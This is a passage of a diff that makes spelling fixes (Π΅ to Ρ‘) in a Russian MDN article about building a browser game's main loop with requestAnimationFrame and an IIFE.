ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠ°Ρ….Β ΠŸΡ€ΠΈΠ²ΡΠ·Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ ΠΊ ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ для Π½Π΅Π³ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ β€” это отличная идСя.Β Β ΠŸΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ Ρ‚ΠΎΠΌ, Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π»ΠΈ ваша функция Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π½Π° строго ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ ΠΈΠ»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Ρ‘.Β  ΠŸΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ Ρ‚ΠΎΠΌ, Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π΅Β Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π½Π° ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠ°Π΄Ρ€ ΠΈΠ»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚. Π‘ΠΎΠ»ΡŒΡˆΠ΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚ΠΈΠΊΠΈ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ Π² Ρ‚ΠΎΠΌ, ΠΊΠΎΠ³Π΄Π° функция Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π°, позволяСт Сму Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ этот процСсс. Π’Π°ΠΊ ΠΆΠ΅, вСроятно, это ΠΎΠ±Π»Π΅Π³Ρ‡ΠΈΡ‚ Π²Π°ΠΌ Ρ€Π°Π±ΠΎΡ‚Ρƒ.Β Β Β </p>
<p>НСкоторый ΠΊΠΎΠ΄ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΊΠ°Π΄Ρ€ Π·Π° ΠΊΠ°Π΄Ρ€ΠΎΠΌ, Ρ‚Π°ΠΊ Π·Π°Ρ‡Π΅ΠΌ ΠΆΠ΅ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»ΡΡ‚ΡŒΒ ΡΡ‚Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΊ Ρ‡Π΅ΠΌΡƒ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ, ΠΊΡ€ΠΎΠΌΠ΅ Π³Ρ€Π°Ρ„ΠΈΠΊΠ° пСрСрисовки Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°? Π’ Web, <code>{{ domxref("window.requestAnimationFrame()") }}</code>Β Π±ΡƒΠ΄Π΅Ρ‚ основой Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° Ρ…ΠΎΡ€ΠΎΡˆΠΎ Π·Π°ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΏΠΎΠΊΠ°Π΄Ρ€ΠΎΠ²Ρ‹Ρ… основных Ρ†ΠΈΠΊΠ»ΠΎΠ².Β  Callback функция Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π° Π΅ΠΌΡƒ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅. Callback функция Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π° Π² подходящСС врСмя ΠΏΠ΅Ρ€Π΅Π΄ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ пСрСрисовкой. Π’ΠΎΡ‚Β ΠΏΡ€ΠΈΠΌΠ΅Ρ€ простого основного Ρ†ΠΈΠΊΠ»Π°:</p>
@@ -41,26 +41,26 @@ original_slug: Games/Анатомия
main(); // Start the cycle</pre>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² <code>main()</code>, обсуТдаСмых здСсь, ΠΌΡ‹ ΠΏΠ»Π°Π½ΠΈΡ€ΡƒΠ΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ requestAnimationFrame ΠΏΠ΅Ρ€Π΅Π΄ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ нашСго содСрТимого Ρ†ΠΈΠΊΠ»Π°. Π­Ρ‚ΠΎ Π½Π΅ случайно ΠΈ считаСт Π»ΡƒΡ‡ΡˆΠ΅ΠΉ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ. Π Π°Π½Π½ΠΈΠΉ Π²Ρ‹Π·ΠΎΠ² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ <code>requestAnimationFrame </code>Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ Π΅Π³ΠΎ воврСмя, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π΄Π°ΠΆΠ΅ Ссли ваш Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΊΠ°Π΄Ρ€ пропустит своС ΠΎΠΊΠ½ΠΎ VSync.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² <code>main()</code>, обсуТдаСмых здСсь, ΠΌΡ‹ ΠΏΠ»Π°Π½ΠΈΡ€ΡƒΠ΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ requestAnimationFrame ΠΏΠ΅Ρ€Π΅Π΄ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ нашСго содСрТимого Ρ†ΠΈΠΊΠ»Π°. Π­Ρ‚ΠΎ Π½Π΅ случайно ΠΈ считаСт Π»ΡƒΡ‡ΡˆΠ΅ΠΉ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ. Π Π°Π½Π½ΠΈΠΉ Π²Ρ‹Π·ΠΎΠ² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ <code>requestAnimationFrame </code>Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ Π΅Π³ΠΎ воврСмя, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π΄Π°ΠΆΠ΅ Ссли ваш Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΊΠ°Π΄Ρ€ пропустит своё ΠΎΠΊΠ½ΠΎ VSync.</p>
</div>
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π° содСрТит Π΄Π²Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ создаСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΊΠ°ΠΊ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>main()</code>.Π­Ρ‚Π° функция выполняСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ сообщаСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠ°Π΄Ρ€ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>window.requestAnimationFrame()</code>. Π’Ρ‚ΠΎΡ€ΠΎΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>main()</code>, ΠΎΠΏΠΈΡΠ°Π½Π½ΡƒΡŽ Π² ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π΅. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ <code>main()</code> вызываСтся ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π΅ ΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π΅Π³ΠΎ Π²Ρ‹Π·ΠΎΠ² ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚ сСбя Π² ΠΎΡ‡Π΅Ρ€Ρ‘Π΄Π½ΠΎΡΡ‚ΡŒ дСйствий, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒΒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉΒ ΠΊΠ°Π΄Ρ€, <code>main()</code> синхронизируСтся с вашСй частотой ΠΊΠ°Π΄Ρ€ΠΎΠ².</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π° содСрТит Π΄Π²Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ создаёт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΊΠ°ΠΊ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>main()</code>.Π­Ρ‚Π° функция выполняСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ сообщаСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠ°Π΄Ρ€ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>window.requestAnimationFrame()</code>. Π’Ρ‚ΠΎΡ€ΠΎΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>main()</code>, ΠΎΠΏΠΈΡΠ°Π½Π½ΡƒΡŽ Π² ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π΅. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ <code>main()</code> вызываСтся ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π΅ ΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π΅Π³ΠΎ Π²Ρ‹Π·ΠΎΠ² ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚ сСбя Π² ΠΎΡ‡Π΅Ρ€Ρ‘Π΄Π½ΠΎΡΡ‚ΡŒ дСйствий, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒΒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉΒ ΠΊΠ°Π΄Ρ€, <code>main()</code> синхронизируСтся с вашСй частотой ΠΊΠ°Π΄Ρ€ΠΎΠ².</p>
<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, этот Ρ†ΠΈΠΊΠ» Π½Π΅ ΠΈΠ΄Π΅Π°Π»Π΅Π½. ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΌΡ‹ обсудим способы Π΅Π³ΠΎ измСнСния, Π΄Π°Π²Π°ΠΉΡ‚Π΅ обсудим, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΡƒΠΆΠ΅ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ…ΠΎΡ€ΠΎΡˆΠΎ.</p>
<p>Бинхронизация основного Ρ†ΠΈΠΊΠ»Π° с Ρ‚Π΅ΠΌ, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ рисуСт Π½Π° дисплСС, позволяСт Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Ρ†ΠΈΠΊΠ» Ρ‚Π°ΠΊ часто, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Ρ…ΠΎΡ‡Π΅Ρ‚ Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ. Π’Π°ΠΌ прСдоставляСтся ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΊΠ°Π΄Ρ€ΠΎΠΌ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ‡Π΅Π½ΡŒ просто, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ <code>main()</code> - СдинствСнная функция, которая зацикливаСтся. Π¨ΡƒΡ‚Π΅Ρ€ ΠΎΡ‚ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π»ΠΈΡ†Π° (ΠΈΠ»ΠΈ подобная ΠΈΠ³Ρ€Π°) прСдставляСт Π½ΠΎΠ²ΡƒΡŽ сцСну ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅. Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ большСй плавности ΠΈ быстродСйствия.</p>
-<p>Но Π½Π΅ стоит сразу ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ анимация Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π΄Ρ€ΠΎΠ²ΠΎΠ³ΠΎ управлСния. ΠŸΡ€ΠΎΡΡ‚Ρ‹Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΌΠΎΠΆΠ½ΠΎ Π»Π΅Π³ΠΊΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΒ Π΄Π°ΠΆΠ΅ с ускорСниСм Π½Π° GPU с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS-Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… инструмСнтов, Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Π˜Ρ… ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠ½ΠΎΠ³ΠΎΒ ΠΈ ΠΎΠ½ΠΈ ΡΠ΄Π΅Π»Π°ΡŽΡ‚ Π²Π°ΡˆΡƒ Тизнь ΠΏΡ€ΠΎΡ‰Π΅.</p>
+<p>Но Π½Π΅ стоит сразу ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ анимация Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π΄Ρ€ΠΎΠ²ΠΎΠ³ΠΎ управлСния. ΠŸΡ€ΠΎΡΡ‚Ρ‹Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΌΠΎΠΆΠ½ΠΎ Π»Π΅Π³ΠΊΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΒ Π΄Π°ΠΆΠ΅ с ускорСниСм Π½Π° GPU с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS-Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… инструмСнтов, Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Π˜Ρ… ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠ½ΠΎΠ³ΠΎΒ ΠΈ ΠΎΠ½ΠΈ ΡΠ΄Π΅Π»Π°ΡŽΡ‚ Π²Π°ΡˆΡƒ Тизнь ΠΏΡ€ΠΎΡ‰Π΅.</p>
<h2 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½Π½ΠΎΠ³ΠΎ_основного_Ρ†ΠΈΠΊΠ»Π°_Π²_JavaScript.">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½Π½ΠΎΠ³ΠΎ основного Ρ†ΠΈΠΊΠ»Π° Π² JavaScript.</h2>
-<p>Π£ нашСго Ρ†ΠΈΠΊΠ»Π° Π΅ΡΡ‚ΡŒ Π΄Π²Π΅ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹: <code>main()</code> загрязняСт <code>{{ domxref("window") }}</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β (Π² Π½Π΅ΠΌ хранятся всС Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅) ΠΈ ΠΊΠΎΠ΄ Π½Π΅ оставляСт Π½Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ†ΠΈΠΊΠ», Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ вся Π²ΠΊΠ»Π°Π΄ΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΡ€Ρ‹Ρ‚Π° ΠΈΠ»ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π°. Для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, Ссли Π½ΡƒΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ основной Ρ†ΠΈΠΊΠ» просто выполнялся ΠΈ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ΅Π½ Π»Π΅Π³ΠΊΠΈΠΉΒ (прямой) доступ ΠΊ Π½Π΅ΠΌΡƒ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π²Π½ΡƒΡ‚Ρ€ΡŒ ΡΠ°ΠΌΠΎΠ²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉΡΡΒ Function Expression (IIFE).</p>
+<p>Π£ нашСго Ρ†ΠΈΠΊΠ»Π° Π΅ΡΡ‚ΡŒ Π΄Π²Π΅ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹: <code>main()</code> загрязняСт <code>{{ domxref("window") }}</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β (Π² Π½Π΅ΠΌ хранятся всС Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅) ΠΈ ΠΊΠΎΠ΄ Π½Π΅ оставляСт Π½Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ†ΠΈΠΊΠ», Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ вся Π²ΠΊΠ»Π°Π΄ΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΡ€Ρ‹Ρ‚Π° ΠΈΠ»ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π°. Для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, Ссли Π½ΡƒΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ основной Ρ†ΠΈΠΊΠ» просто выполнялся ΠΈ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ΅Π½ Π»Ρ‘Π³ΠΊΠΈΠΉΒ (прямой) доступ ΠΊ Π½Π΅ΠΌΡƒ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π²Π½ΡƒΡ‚Ρ€ΡŒ ΡΠ°ΠΌΠΎΠ²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉΡΡΒ Function Expression (IIFE).</p>
<pre class="brush: js notranslate">/*
* НачинаСм с Ρ‚ΠΎΡ‡ΠΊΠΈ с запятой Π² случаС, Ссли какая-Π»ΠΈΠ±ΠΎ строка ΠΊΠΎΠ΄Π° Π²Ρ‹ΡˆΠ΅ Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°
* полагаСтся Π½Π° Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ вставку Ρ‚ΠΎΡ‡ΠΊΠΈ с запятой (ASI). Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ случайно Ρ€Π΅ΡˆΠΈΡ‚ΡŒ,
* Ρ‡Ρ‚ΠΎ вСсь этот ΠΊΠΎΠ΄ начинаСтся с ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ строки. ΠŸΠ΅Ρ€Π²Π°Ρ Ρ‚ΠΎΡ‡ΠΊΠ° с запятой ΠΎΡ‚ΠΌΠ΅Ρ‡Π°Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΠΎ
-* Π½ΠΎΠ²ΠΎΠΉ строки, Ссли прСдыдущая Π½Π΅ Π±Ρ‹Π»Π° пустой ΠΈΠ»ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎΠΉ.
+* Π½ΠΎΠ²ΠΎΠΉ строки, Ссли прСдыдущая Π½Π΅ Π±Ρ‹Π»Π° пустой ΠΈΠ»ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½ΠΎΠΉ.
*/
;(function () {
@@ -73,19 +73,19 @@ main(); // Start the cycle</pre>
main(); // Π’Ρ‹Π·ΠΎΠ² Ρ†ΠΈΠΊΠ»Π°
})();</pre>
-<p>Когда Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ наткнСтся на IIFE (Immediately Invoked Function Expression), ΠΎΠ½ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ основной Ρ†ΠΈΠΊΠ» ΠΈ сразу ΠΆΠ΅ поставит Π΅Π³ΠΎ Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ для ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΊΠ°Π΄Ρ€Π°. Он Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ привязан Π½ΠΈ ΠΊ ΠΊΠ°ΠΊΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, ΠΈΒ <code>main</code> (ΠΈΠ»ΠΈΒ <code>main()</code> для мСтодов) Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, доступным Π² ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉ части прилоТСния для опрСдСлСния Ρ‡Π΅Π³ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ.</p>
